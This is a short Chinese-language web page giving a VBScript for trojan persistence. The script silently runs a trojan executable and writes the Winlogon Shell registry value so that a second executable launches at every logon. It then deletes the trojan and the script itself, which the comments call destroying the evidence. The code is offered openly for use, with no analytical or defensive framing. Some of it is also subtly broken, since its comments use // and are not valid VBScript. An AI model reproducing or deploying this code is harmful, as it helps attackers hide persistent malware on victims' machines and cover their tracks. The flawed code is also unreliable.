vbs 注冊表實現木馬自啓動 -电脑资料

    dim wsh

    set wsh=CreateObject("WScript.Shell")

    wsh.run "%windir%\flumasko.exe",0 //運行木馬程序

    set sm=Wscript.CreateObject("WScript.Shell")

    sm.RegWrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell","Explorer.exe %systemroot%\system32\winmgmt.exe"

    //寫進注冊表項實現自啓動

    set WshShell=WScript.CreateObject("WScript.Shell")

    WScript.Sleep 2000

    //等木馬的執行完畢

    Set fso=CreateObject("Scripting.FileSystemObject")

    f=fso.DeleteFile ("flumasko.exe")

    f=fso.DeleteFile (WScript.ScriptName)

    //毀屍滅迹